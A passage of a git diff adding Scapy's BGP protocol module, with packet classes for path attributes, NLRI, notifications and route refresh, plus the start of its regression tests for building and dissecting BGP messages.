+    fields_desc = [
+        _ExtCommsPacketListField(
+            "extended_communities",
+            [],
+            BGPPAExtCommunity
+        )
+    ]
+
+
+class MPReachNLRIPacketListField(PacketListField):
+    """
+    PacketListField handling the AFI specific part (except for the length of
+    Next Hop Network Address field, which is not AFI specific) of the
+    MP_REACH_NLRI attribute.
+    """
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+
+        # IPv6
+        if pkt.afi == 2:
+            if pkt.safi == 1:
+                # BGPNLRI_IPv6
+                while remain:
+                    mask = orb(remain[0])
+                    length_in_bytes = (mask + 7) // 8
+                    current = remain[:length_in_bytes + 1]
+                    remain = remain[length_in_bytes + 1:]
+                    prefix = BGPNLRI_IPv6(current)
+                    lst.append(prefix)
+
+        return remain, lst
+
+
+class BGPPAMPReachNLRI(Packet):
+    """
+    Packet handling the MP_REACH_NLRI attribute value, for non IPv6
+    AFI.
+    References: RFC 4760
+    """
+
+    name = "MP_REACH_NLRI"
+    fields_desc = [
+        ShortEnumField("afi", 0, address_family_identifiers),
+        ByteEnumField("safi", 0, subsequent_afis),
+        ByteField("nh_addr_len", 0),
+        ConditionalField(IPField("nh_v4_addr", "0.0.0.0"),
+                         lambda x: x.afi == 1 and x.nh_addr_len == 4),
+        ConditionalField(IP6Field("nh_v6_addr", "::"),
+                         lambda x: x.afi == 2 and x.nh_addr_len == 16),
+        ConditionalField(IP6Field("nh_v6_global", "::"),
+                         lambda x: x.afi == 2 and x.nh_addr_len == 32),
+        ConditionalField(IP6Field("nh_v6_link_local", "::"),
+                         lambda x: x.afi == 2 and x.nh_addr_len == 32),
+        ByteField("reserved", 0),
+        MPReachNLRIPacketListField("nlri", [], Packet)]
+
+    def post_build(self, p, pay):
+        if self.nlri is None:
+            p = p[:3]
+
+        return p + pay
+
+
+#
+# MP_UNREACH_NLRI
+#
+
+class BGPPAMPUnreachNLRI_IPv6(Packet):
+    """
+    Packet handling the MP_UNREACH_NLRI attribute value, for IPv6 AFI.
+    """
+
+    name = "MP_UNREACH_NLRI (IPv6 NLRI)"
+    fields_desc = [BGPNLRIPacketListField(
+        "withdrawn_routes", [], BGPNLRI_IPv6)]
+
+
+class MPUnreachNLRIPacketField(PacketField):
+    """
+    PacketField handling the AFI specific part of the MP_UNREACH_NLRI
+    attribute.
+    """
+
+    def m2i(self, pkt, m):
+        ret = None
+
+        if pkt.afi == 2:
+            ret = BGPPAMPUnreachNLRI_IPv6(m)
+        else:
+            ret = conf.raw_layer(m)
+
+        return ret
+
+
+class BGPPAMPUnreachNLRI(Packet):
+    """
+    Packet handling the MP_UNREACH_NLRI attribute value, for non IPv6
+    AFI.
+    References: RFC 4760
+    """
+
+    name = "MP_UNREACH_NLRI"
+    fields_desc = [ShortEnumField("afi", 0, address_family_identifiers),
+                   ByteEnumField("safi", 0, subsequent_afis),
+                   MPUnreachNLRIPacketField("afi_safi_specific", None, Packet)]
+
+    def post_build(self, p, pay):
+        if self.afi_safi_specific is None:
+            p = p[:3]
+
+        return p + pay
+
+
+#
+# AS4_PATH
+#
+
+class BGPPAAS4Path(Packet):
+    """
+    Provides an implementation of the AS4_PATH attribute "value part".
+    References: RFC 4893
+    """
+
+    name = "AS4_PATH"
+    fields_desc = [
+        ByteEnumField(
+            "segment_type",
+            2,
+            {1: "AS_SET", 2: "AS_SEQUENCE"}
+        ),
+        ByteField("segment_length", None),
+        FieldListField("segment_value", [], IntField("asn", 0))
+    ]
+
+    def post_build(self, p, pay):
+        if self.segment_length is None:
+            segment_len = len(self.segment_value)
+            p = chb(p[0]) + chb(segment_len) + p[2:]
+
+        return p + pay
+
+
+#
+# AS4_AGGREGATOR
+#
+
+class BGPPAAS4Aggregator(Packet):
+    """
+    Provides an implementation of the AS4_AGGREGATOR attribute
+    "value part".
+    References: RFC 4893
+    """
+
+    name = "AS4_AGGREGATOR "
+    fields_desc = [IntField("aggregator_asn", 0),
+                   IPField("speaker_address", "0.0.0.0")]
+
+
+_path_attr_objects = {
+    0x01: "BGPPAOrigin",
+    0x02: "BGPPAASPath",  # if bgp_module_conf.use_2_bytes_asn, BGPPAAS4BytesPath otherwise
+    0x03: "BGPPANextHop",
+    0x04: "BGPPAMultiExitDisc",
+    0x05: "BGPPALocalPref",
+    0x06: "BGPPAAtomicAggregate",
+    0x07: "BGPPAAggregator",
+    0x08: "BGPPACommunity",
+    0x09: "BGPPAOriginatorID",
+    0x0A: "BGPPAClusterList",
+    0x0E: "BGPPAMPReachNLRI",
+    0x0F: "BGPPAMPUnreachNLRI",
+    0x10: "BGPPAExtComms",
+    0x11: "BGPPAAS4Path",
+    0x19: "BGPPAIPv6AddressSpecificExtComm"
+}
+
+
+class _PathAttrPacketField(PacketField):
+    """
+    PacketField handling path attribute value parts.
+    """
+
+    def m2i(self, pkt, m):
+        ret = None
+        type_code = pkt.type_code
+
+        # Reserved
+        if type_code == 0 or type_code == 255:
+            ret = conf.raw_layer(m)
+        # Unassigned
+        elif (type_code >= 30 and type_code <= 39) or\
+            (type_code >= 41 and type_code <= 127) or\
+            (type_code >= 129 and type_code <= 254):
+            ret = conf.raw_layer(m)
+        # Known path attributes
+        else:
+            if type_code == 0x02 and not bgp_module_conf.use_2_bytes_asn:
+                ret = BGPPAAS4BytesPath(m)
+            else:
+                ret = _get_cls(
+                    _path_attr_objects.get(type_code, conf.raw_layer))(m)
+
+        return ret
+
+
+class BGPPathAttr(Packet):
+    """
+    Provides an implementation of the path attributes.
+    References: RFC 4271
+    """
+
+    name = "BGPPathAttr"
+    fields_desc = [
+        FlagsField("type_flags", 0x80, 8, [
+            "NA0",
+            "NA1",
+            "NA2",
+            "NA3",
+            "Extended-Length",
+            "Partial",
+            "Transitive",
+            "Optional"
+        ]),
+        ByteEnumField("type_code", 0, path_attributes),
+        ConditionalField(
+            ShortField("attr_ext_len", None),
+            lambda x: x.type_flags != None and\
+                has_extended_length(x.type_flags)
+        ),
+        ConditionalField(
+            ByteField("attr_len", None),
+            lambda x: x.type_flags != None and not\
+                has_extended_length(x.type_flags)
+        ),
+        _PathAttrPacketField("attribute", None, Packet)
+    ]
+
+    def post_build(self, p, pay):
+        flags_value = None
+        length = None
+        packet = None
+        extended_length = False
+
+        # Set default flags value ?
+        if self.type_flags is None:
+            # Set the standard value, if it is exists in attributes_flags.
+            if self.type_code in attributes_flags:
+                flags_value = attributes_flags.get(self.type_code)
+
+            # Otherwise, set to optional, non-transitive.
+            else:
+                flags_value = 0x80
+
+            extended_length = has_extended_length(flags_value)
+        else:
+            extended_length = has_extended_length(self.type_flags)
+
+        # Set the flags
+        if flags_value is None:
+            packet = p[:2]
+        else:
+            packet = struct.pack("!B", flags_value) + p[1]
+
+        # Add the length
+        if self.attr_len is None:
+            if self.attribute is None:
+                length = 0
+            else:
+                if extended_length:
+                    length = len(p) - 4  # Flags + Type + Length (2 bytes)
+                else:
+                    length = len(p) - 3  # Flags + Type + Length (1 byte)
+
+        if length is None:
+            if extended_length:
+                packet = packet + p[2:4]
+            else:
+                packet = packet + p[2]
+        else:
+            if extended_length:
+                packet = packet + struct.pack("!H", length)
+            else:
+                packet = packet + struct.pack("!B", length)
+
+        # Append the rest of the message
+        if extended_length:
+            if self.attribute != None:
+                packet = packet + p[4:]
+        else:
+            if self.attribute != None:
+                packet = packet + p[3:]
+
+        return packet + pay
+
+
+#
+# UPDATE
+#
+
+class BGPUpdate(BGP):
+    """
+    UPDATE messages allow peers to exchange routes.
+    References: RFC 4271
+    """
+
+    name = "UPDATE"
+    fields_desc = [
+        FieldLenField(
+            "withdrawn_routes_len",
+            None,
+            length_of="withdrawn_routes",
+            fmt="!H"
+        ),
+        BGPNLRIPacketListField(
+            "withdrawn_routes",
+            [],
+            BGPNLRI_IPv4,
+            length_from=lambda p: p.withdrawn_routes_len
+        ),
+        FieldLenField(
+            "path_attr_len",
+            None,
+            length_of="path_attr",
+            fmt="!H"
+        ),
+        BGPPathAttrPacketListField(
+            "path_attr",
+            [],
+            BGPPathAttr,
+            length_from=lambda p: p.path_attr_len
+        ),
+        BGPNLRIPacketListField("nlri", [], BGPNLRI_IPv4)
+    ]
+
+    def post_build(self, p, pay):
+        subpacklen = lambda p: len(p)
+        packet = ""
+        if self.withdrawn_routes_len is None:
+            wl = sum(map(subpacklen, self.withdrawn_routes))
+            packet = p[:0] + struct.pack("!H", wl) + p[2:]
+        if self.path_attr_len is None:
+            length = sum(map(subpacklen, self.path_attr))
+            packet = p[:2 + wl] + struct.pack("!H", length) + p[4 + wl:]
+
+        return packet + pay
+
+
+#
+# NOTIFICATION
+#
+
+#
+# RFC 4271, RFC 7313
+# http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xhtml#bgp-parameters-3
+#
+_error_codes = {
+    0x01: "Message Header Error",
+    0x02: "OPEN Message Error",
+    0x03: "UPDATE Message Error",
+    0x04: "Hold Timer Expired",
+    0x05: "Finite State Machine Error",
+    0x06: "Cease",
+    0x07: "ROUTE-REFRESH Message Error",  # RFC 7313
+}
+
+#
+# http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xhtml#bgp-parameters-4
+#
+_error_subcodes = {
+    # Reserved
+    0: {},
+
+    # Header (RFC 4271)
+    1:
+    {
+        0: "Unspecific",
+        1: "Connection Not Synchronized",
+        2: "Bad Message Length",
+        3: "Bad Message Type"
+    },
+
+    # OPEN (RFC 4271, RFC 5492)
+    2:
+    {
+        0: "Reserved",
+        1: "Unsupported Version Number",
+        2: "Bad Peer AS",
+        3: "Bad BGP Identifier",
+        4: "Unsupported Optional Parameter",
+        5: "Authentication Failure - Deprecated (RFC 4271)",
+        6: "Unacceptable Hold Time",
+        7: "Unsupported Capability"
+    },
+
+    # UPDATE (RFC 4271)
+    3:
+    {
+        0: "Reserved",
+        1: "Malformed Attribute List",
+        2: "Unrecognized Well-known Attribute",
+        3: "Missing Well-known Attribute",
+        4: "Attribute Flags Error",
+        5: "Attribute Length Error",
+        6: "Invalid ORIGIN Attribute",
+        7: "AS Routing Loop - Deprecated (RFC 4271)",
+        8: "Invalid NEXT_HOP Attribute",
+        9: "Optional Attribute Error",
+        10: "Invalid Network Field",
+        11: "Malformed AS_PATH"
+    },
+
+    # Hold Timer Expired
+    4: {},
+
+    # Finite State Machine Error (RFC 6608)
+    5:
+    {
+        0: "Unspecified Error",
+        1: "Receive Unexpected Message in OpenSent State",
+        2: "Receive Unexpected Message in OpenConfirm State",
+        3: "Receive Unexpected Message in Established State"
+    },
+
+    # Cease (RFC 4486)
+    6:
+    {
+        0: "Unspecified Error",
+        1: "Maximum Number of Prefixes Reached",
+        2: "Administrative Shutdown",
+        3: "Peer De-configured",
+        4: "Administrative Reset",
+        5: "Connection Rejected",
+        6: "Other Configuration Change",
+        7: "Connection Collision Resolution",
+        8: "Out of Resources",
+    },
+
+    # ROUTE-REFRESH (RFC 7313)
+    7:
+    {
+        0: "Reserved",
+        1: "Invalid Message Length"
+    },
+}
+
+
+class BGPNotification(BGP):
+    """
+    NOTIFICATION messages end a BGP session.
+    References: RFC 4271
+    """
+
+    name = "NOTIFICATION"
+    fields_desc = [
+        ByteEnumField("error_code", 0, _error_codes),
+        MultiEnumField(
+            "error_subcode",
+            0,
+            _error_subcodes,
+            depends_on=lambda p: p.error_code,
+            fmt="B"
+        ),
+        StrField(name="data", default=None)
+    ]
+
+
+#
+# ROUTE_REFRESH
+#
+
+_orf_when_to_refresh = {
+    0x01: "IMMEDIATE",
+    0x02: "DEFER"
+}
+
+
+_orf_actions = {
+    0: "ADD",
+    1: "REMOVE",
+    2: "REMOVE-ALL"
+}
+
+
+_orf_match = {
+    0: "PERMIT",
+    1: "DENY"
+}
+
+
+_orf_entry_afi = 1
+_orf_entry_safi = 1
+
+
+def _update_orf_afi_safi(afi, safi):
+    """
+    Helper function that sets the afi / safi values
+    of ORP entries.
+    """
+
+    global _orf_entry_afi
+    global _orf_entry_safi
+
+    _orf_entry_afi = afi
+    _orf_entry_safi = safi
+
+
+class BGPORFEntry(Packet):
+    """
+    Provides an implementation of an ORF entry.
+    References: RFC 5291
+    """
+
+    name = "ORF entry"
+    fields_desc = [
+        BitEnumField("action", 0, 2, _orf_actions),
+        BitEnumField("match", 0, 1, _orf_match),
+        BitField("reserved", 0, 5),
+        StrField("value", "")
+    ]
+
+
+class _ORFNLRIPacketField(PacketField):
+    """
+    PacketField handling the ORF NLRI.
+    """
+
+    def m2i(self, pkt, m):
+        ret = None
+
+        if _orf_entry_afi == 1:
+            # IPv4
+            ret = BGPNLRI_IPv4(m)
+
+        elif _orf_entry_afi == 2:
+            # IPv6
+            ret = BGPNLRI_IPv6(m)
+
+        else:
+            ret = conf.raw_layer(m)
+
+        return ret
+
+
+class BGPORFAddressPrefix(BGPORFEntry):
+    """
+    Provides an implementation of the Address Prefix ORF (RFC 5292).
+    """
+
+    name = "Address Prefix ORF"
+    fields_desc = [
+        BitEnumField("action", 0, 2, _orf_actions),
+        BitEnumField("match", 0, 1, _orf_match),
+        BitField("reserved", 0, 5),
+        IntField("sequence", 0),
+        ByteField("min_len", 0),
+        ByteField("max_len", 0),
+        _ORFNLRIPacketField("prefix", "", Packet),
+    ]
+
+
+class BGPORFCoveringPrefix(Packet):
+    """
+    Provides an implementation of the CP-ORF (RFC 7543).
+    """
+
+    name = "CP-ORF"
+    fields_desc = [
+        BitEnumField("action", 0, 2, _orf_actions),
+        BitEnumField("match", 0, 1, _orf_match),
+        BitField("reserved", 0, 5),
+        IntField("sequence", 0),
+        ByteField("min_len", 0),
+        ByteField("max_len", 0),
+        LongField("rt", 0),
+        LongField("import_rt", 0),
+        ByteField("route_type", 0),
+        PacketField("host_addr", None, Packet)
+    ]
+
+
+class BGPORFEntryPacketListField(PacketListField):
+    """
+    PacketListField handling the ORF entries.
+    """
+
+    def m2i(self, pkt, m):
+        ret = None
+
+        # Cisco also uses 128
+        if pkt.orf_type == 64 or pkt.orf_type == 128:
+            ret = BGPORFAddressPrefix(m)
+
+        elif pkt.orf_type == 65:
+            ret = BGPORFCoveringPrefix(m)
+
+        else:
+            ret = conf.raw_layer(m)
+
+        return ret
+
+    def getfield(self, pkt, s):
+        lst = []
+        length = 0
+        if self.length_from is not None:
+            length = self.length_from(pkt)
+        remain = s
+        if length is not None:
+            remain, ret = s[:length], s[length:]
+
+        while remain:
+            orf_len = 0
+
+            # Get value length, depending on the ORF type
+            if pkt.orf_type == 64 or pkt.orf_type == 128:
+                # Address Prefix ORF
+                # Get the length, in bits, of the prefix
+                prefix_len = _bits_to_bytes_len(
+                    orb(remain[6])
+                )
+                # flags (1 byte) + sequence (4 bytes) + min_len (1 byte) +
+                # max_len (1 byte) + mask_len (1 byte) + prefix_len
+                orf_len = 8 + prefix_len
+
+            elif pkt.orf_type == 65:
+                # Covering Prefix ORF
+
+                if _orf_entry_afi == 1:
+                    # IPv4
+                    # sequence (4 bytes) + min_len (1 byte) + max_len (1 byte) +
+                    # rt (8 bytes) + import_rt (8 bytes) + route_type (1 byte)
+                    orf_len = 23 + 4
+
+                elif _orf_entry_afi == 2:
+                    # IPv6
+                    # sequence (4 bytes) + min_len (1 byte) + max_len (1 byte) +
+                    # rt (8 bytes) + import_rt (8 bytes) + route_type (1 byte)
+                    orf_len = 23 + 16
+
+                elif _orf_entry_afi == 25:
+                    # sequence (4 bytes) + min_len (1 byte) + max_len (1 byte) +
+                    # rt (8 bytes) + import_rt (8 bytes)
+                    route_type = orb(remain[22])
+
+                    if route_type == 2:
+                        # MAC / IP Advertisement Route
+                        orf_len = 23 + 6
+
+                    else:
+                        orf_len = 23
+
+            current = remain[:orf_len]
+            remain = remain[orf_len:]
+            packet = self.m2i(pkt, current)
+            lst.append(packet)
+
+        return remain + ret, lst
+
+
+class BGPORF(Packet):
+    """
+    Provides an implementation of ORFs carried in the RR message.
+    References: RFC 5291
+    """
+
+    name = "ORF"
+    fields_desc = [
+        ByteEnumField("when_to_refresh", 0, _orf_when_to_refresh),
+        ByteEnumField("orf_type", 0, _orf_types),
+        FieldLenField("orf_len", None, length_of="entries", fmt="!H"),
+        BGPORFEntryPacketListField(
+            "entries",
+            [],
+            Packet,
+            length_from=lambda p: p.orf_len,
+        )
+    ]
+
+
+# RFC 7313
+# http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xhtml#route-refresh-subcodes
+rr_message_subtypes = {
+    0: "Route-Refresh",
+    1: "BoRR",
+    2: "EoRR",
+    255: "Reserved"
+}
+
+
+class BGPRouteRefresh(BGP):
+    """
+    Provides an implementation of the ROUTE-REFRESH message.
+    References: RFC 2918, RFC 7313
+    """
+
+    name = "ROUTE-REFRESH"
+    fields_desc = [
+        ShortEnumField("afi", 1, address_family_identifiers),
+        ByteEnumField("subtype", 0, rr_message_subtypes),
+        ByteEnumField("safi", 1, subsequent_afis),
+        PacketField(
+            'orf_data',
+            "", BGPORF,
+            lambda p: _update_orf_afi_safi(p.afi, p.safi)
+        )
+    ]
+
+
+#
+# Layer bindings
+#
+
+bind_layers(TCP, BGP, dport=179)
+bind_layers(TCP, BGP, sport=179)
+bind_layers(BGPHeader, BGPOpen, {"type": 1})
+bind_layers(BGPHeader, BGPUpdate, {"type": 2})
+bind_layers(BGPHeader, BGPNotification, {"type": 3})
+bind_layers(BGPHeader, BGPKeepAlive, {"type": 4})
+bind_layers(BGPHeader, BGPRouteRefresh, {"type": 5})
+
+# When loading the module, display the current module configuration.
+log_runtime.warning(
+    "[bgp.py] use_2_bytes_asn: %s", bgp_module_conf.use_2_bytes_asn)
+
diff --git a/scapy/contrib/bgp.uts b/scapy/contrib/bgp.uts
new file mode 100644
index 0000000..3932f31
--- /dev/null
+++ b/scapy/contrib/bgp.uts
@@ -0,0 +1,706 @@
+#################################### bgp.py ##################################
+% Regression tests for the bgp module
+
+# Default configuration : OLD speaker (see RFC 6793)
+bgp_module_conf.use_2_bytes_asn  = True
+
+################################ BGPNLRI_IPv4 ################################
++ BGPNLRI_IPv4 class tests
+
+= BGPNLRI_IPv4 - Instantiation
+raw(BGPNLRI_IPv4()) == b'\x00'
+
+= BGPNLRI_IPv4 - Instantiation with specific values (1)
+raw(BGPNLRI_IPv4(prefix = '255.255.255.255/32')) == b' \xff\xff\xff\xff'
+
+= BGPNLRI_IPv4 - Instantiation with specific values (2)
+raw(BGPNLRI_IPv4(prefix = '0.0.0.0/0')) == b'\x00'
+
+= BGPNLRI_IPv4 - Instantiation with specific values (3)
+raw(BGPNLRI_IPv4(prefix = '192.0.2.0/24')) == b'\x18\xc0\x00\x02'
+
+= BGPNLRI_IPv4 - Basic dissection
+nlri = BGPNLRI_IPv4(b'\x00')
+nlri.prefix == '0.0.0.0/0'
+
+= BGPNLRI_IPv4 - Dissection with specific values
+nlri = BGPNLRI_IPv4(b'\x18\xc0\x00\x02')
+nlri.prefix == '192.0.2.0/24'
+
+
+################################ BGPNLRI_IPv6 ################################
++ BGPNLRI_IPv6 class tests
+
+= BGPNLRI_IPv6 - Instantiation
+raw(BGPNLRI_IPv6()) == b'\x00'
+
+= BGPNLRI_IPv6 - Instantiation with specific values (1)
+raw(BGPNLRI_IPv6(prefix = '::/0')) == b'\x00'
+
+= BGPNLRI_IPv6 - Instantiation with specific values (2)
+raw(BGPNLRI_IPv6(prefix = '2001:db8::/32')) == b'  \x01\r\xb8'
+
+= BGPNLRI_IPv6 - Basic dissection
+nlri = BGPNLRI_IPv6(b'\x00')
+nlri.prefix == '::/0'
+
+= BGPNLRI_IPv6 - Dissection with specific values
+nlri = BGPNLRI_IPv6(b'  \x01\r\xb8')
+nlri.prefix == '2001:db8::/32'
+
+
+#################################### BGP #####################################
++ BGP class tests
+
+= BGP - Instantiation (Should be a KEEPALIVE)
+m = BGP()
+assert(raw(m) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04')
+assert(m.type == BGP.KEEPALIVE_TYPE)
+
+= BGP - Instantiation with specific values (1)
+raw(BGP(type = 0)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x00'
+
+= BGP - Instantiation with specific values (2)
+raw(BGP(type = 1)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x01'
+
+= BGP - Instantiation with specific values (3)
+raw(BGP(type = 2)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x02'
+
+= BGP - Instantiation with specific values (4)
+raw(BGP(type = 3)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x03'
+
+= BGP - Instantiation with specific values (5)
+raw(BGP(type = 4)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04'
+
+= BGP - Instantiation with specific values (6)
+raw(BGP(type = 5)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x05'
+
+= BGP - Basic dissection
+h = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04')
+assert(h.type == BGP.KEEPALIVE_TYPE)
+assert(h.len == 19)
+
+= BGP - Dissection with specific values
+h = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x01')
+assert(h.type == BGP.OPEN_TYPE)
+assert(h.len == 19)
+
+############################### BGPKeepAlive  #################################
++ BGPKeepAlive class tests
+
+= BGPKeepAlive - Instantiation (by default, should be a "generic" capability)
+raw(BGPKeepAlive())
+raw(BGPKeepAlive()) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04'
+
+= BGPKeepAlive - Swallowing tests: combined BGPKeepAlive
+o = BGPKeepAlive()
+m=IP(src="12.0.0.1",dst="12.0.0.2")/TCP(dport=54321)/BGP(raw(o)*2)
+m.show()
+assert isinstance(m[BGPKeepAlive].payload, BGPKeepAlive)
+assert m[BGPKeepAlive].payload.marker == 0xffffffffffffffffffffffffffffffff
+
+############################### BGPCapability #################################
++ BGPCapability class tests
+
+= BGPCapability - Instantiation (by default, should be a "generic" capability)
+raw(BGPCapability())
+raw(BGPCapability()) == b'\x00\x00'
+
+= BGPCapability - Instantiation with specific values (1)
+c = BGPCapability(code = 70)
+assert(raw(c) == b'F\x00')
+
+= BGPCapability - Check exception
+from scapy.contrib.bgp import _BGPInvalidDataException
+try:
+  BGPCapability("\x00")
+  False
+except _BGPInvalidDataException:
+  True
+
+= BGPCapability - Test haslayer()
+assert BGPCapFourBytesASN().haslayer(BGPCapability)
+assert BGPCapability in BGPCapFourBytesASN()
+
+= BGPCapability - Test getlayer()
+assert isinstance(BGPCapFourBytesASN().getlayer(BGPCapability), BGPCapFourBytesASN)
+assert isinstance(BGPCapFourBytesASN()[BGPCapability], BGPCapFourBytesASN)
+
+
+############################ BGPCapMultiprotocol ##############################
++ BGPCapMultiprotocol class tests
+
+= BGPCapMultiprotocol - Inheritance
+c = BGPCapMultiprotocol()
+assert(isinstance(c, BGPCapability))
+
+= BGPCapMultiprotocol - Instantiation
+raw(BGPCapMultiprotocol()) == b'\x01\x04\x00\x00\x00\x00'
+
+= BGPCapMultiprotocol - Instantiation with specific values (1)
+raw(BGPCapMultiprotocol(afi = 1, safi = 1)) == b'\x01\x04\x00\x01\x00\x01'
+
+= BGPCapMultiprotocol - Instantiation with specific values (2)
+raw(BGPCapMultiprotocol(afi = 2, safi = 1)) == b'\x01\x04\x00\x02\x00\x01'
+
+= BGPCapMultiprotocol - Dissection with specific values
+c = BGPCapMultiprotocol(b'\x01\x04\x00\x02\x00\x01')
+assert(c.code == 1)
+assert(c.length == 4)
+assert(c.afi == 2)
+assert(c.reserved == 0)
+assert(c.safi == 1)
+
+############################### BGPCapORFBlock ###############################
++ BGPCapORFBlock class tests
+
+= BGPCapORFBlock - Instantiation
+raw(BGPCapORFBlock()) == b'\x00\x00\x00\x00\x00'
+
+= BGPCapORFBlock - Instantiation with specific values (1)
+raw(BGPCapORFBlock(afi = 1, safi = 1)) == b'\x00\x01\x00\x01\x00'
+
+= BGPCapORFBlock - Instantiation with specific values (2)
+raw(BGPCapORFBlock(afi = 2, safi = 1)) == b'\x00\x02\x00\x01\x00'
+
+= BGPCapORFBlock - Basic dissection
+c = BGPCapORFBlock(b'\x00\x00\x00\x00\x00')
+c.afi == 0 and c.reserved == 0 and c.safi == 0 and c.orf_number == 0
+
+= BGPCapORFBlock - Dissection with specific values
+c = BGPCapORFBlock(b'\x00\x02\x00\x01\x00')
+c.afi == 2 and c.reserved == 0 and c.safi == 1 and c.orf_number == 0
+
+
+############################# BGPCapORFBlock.ORF ##############################
++ BGPCapORFBlock.ORF class tests
+
+= BGPCapORFBlock.ORF - Instantiation
+raw(BGPCapORFBlock.ORFTuple()) == b'\x00\x00'
+
+= BGPCapORFBlock.ORF - Instantiation with specific values (1)
+raw(BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)) == b'@\x03'
+
+= BGPCapORFBlock.ORF - Basic dissection
+c = BGPCapORFBlock.ORFTuple(b'\x00\x00')
+c.orf_type == 0 and c.send_receive == 0
+
+= BGPCapORFBlock.ORF - Dissection with specific values
+c = BGPCapORFBlock.ORFTuple(b'@\x03')
+c.orf_type == 64 and c.send_receive == 3
+
+
+################################# BGPCapORF ###################################
++ BGPCapORF class tests
+
+= BGPCapORF - Inheritance
+c = BGPCapORF()
+assert(isinstance(c, BGPCapability))
+
+= BGPCapORF - Instantiation
+raw(BGPCapORF()) == b'\x03\x00'
+
+= BGPCapORF - Instantiation with specific values (1) 
+raw(BGPCapORF(orf = [BGPCapORFBlock(afi = 1, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)])])) == b'\x03\x07\x00\x01\x00\x01\x01@\x03'
+
+= BGPCapORF - Instantiation with specific values (2)
+raw(BGPCapORF(orf = [BGPCapORFBlock(afi = 1, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)]), BGPCapORFBlock(afi = 2, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)])])) == b'\x03\x0e\x00\x01\x00\x01\x01@\x03\x00\x02\x00\x01\x01@\x03'
+
+= BGPCapORF - Basic dissection
+c = BGPCapORF(b'\x03\x00')
+c.code == 3 and c.length == 0
+
+= BGPCapORF - Dissection with specific values
+c = BGPCapORF(orf = [BGPCapORFBlock(afi = 1, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)]), BGPCapORFBlock(afi = 2, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)])])
+c.code == 3 and c.orf[0].afi == 1 and c.orf[0].safi == 1 and c.orf[0].entries[0].orf_type == 64 and c.orf[0].entries[0].send_receive == 3 and c.orf[1].afi == 2 and c.orf[1].safi == 1 and c.orf[1].entries[0].orf_type == 64 and c.orf[1].entries[0].send_receive == 3
+
+= BGPCapORF - Dissection
+p = BGPCapORF(b'\x03\x07\x00\x01\x00\x01\x01@\x03')
+assert(len(p.orf) == 1)
+
+
+####################### BGPCapGracefulRestart.GRTuple #########################
++ BGPCapGracefulRestart.GRTuple class tests
+
+= BGPCapGracefulRestart.GRTuple - Instantiation
+raw(BGPCapGracefulRestart.GRTuple()) == b'\x00\x00\x00\x00'
+
+= BGPCapGracefulRestart.GRTuple - Instantiation with specific values
+raw(BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1, flags = 128)) == b'\x00\x01\x01\x80'
+
+= BGPCapGracefulRestart.GRTuple - Basic dissection
+c = BGPCapGracefulRestart.GRTuple(b'\x00\x00\x00\x00')
+c.afi == 0 and c.safi == 0 and c.flags == 0
+
+= BGPCapGracefulRestart.GRTuple - Dissection with specific values
+c = BGPCapGracefulRestart.GRTuple(b'\x00\x01\x01\x80')
+c.afi == 1 and c.safi == 1 and c.flags == 128
+
+
+########################### BGPCapGracefulRestart #############################
++ BGPCapGracefulRestart class tests
+
+= BGPCapGracefulRestart - Inheritance
+c = BGPCapGracefulRestart()
+assert(isinstance(c, BGPCapGracefulRestart))
+
+= BGPCapGracefulRestart - Instantiation
+raw(BGPCapGracefulRestart()) == b'@\x02\x00\x00'
+
+= BGPCapGracefulRestart - Instantiation with specific values (1)
+raw(BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1)])) == b'@\x06\x00x\x00\x01\x01\x00'
+
+= BGPCapGracefulRestart - Instantiation with specific values (2)
+raw(BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1)])) == b'@\x06\x00x\x00\x01\x01\x00'
+
+= BGPCapGracefulRestart - Instantiation with specific values (3)
+raw(BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1, flags = 128)])) == b'@\x06\x00x\x00\x01\x01\x80'
+
+= BGPCapGracefulRestart - Instantiation with specific values (4)
+raw(BGPCapGracefulRestart(restart_time = 120, restart_flags = 0x8, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1, flags = 128)])) == b'@\x06\x80x\x00\x01\x01\x80'
+
+= BGPCapGracefulRestart - Basic dissection
+c = BGPCapGracefulRestart(b'@\x02\x00\x00')
+c.code == 64 and c.restart_flags == 0 and c.restart_time == 0
+
+= BGPCapGracefulRestart - Dissection with specific values
+c = BGPCapGracefulRestart(b'@\x06\x80x\x00\x01\x01\x80')
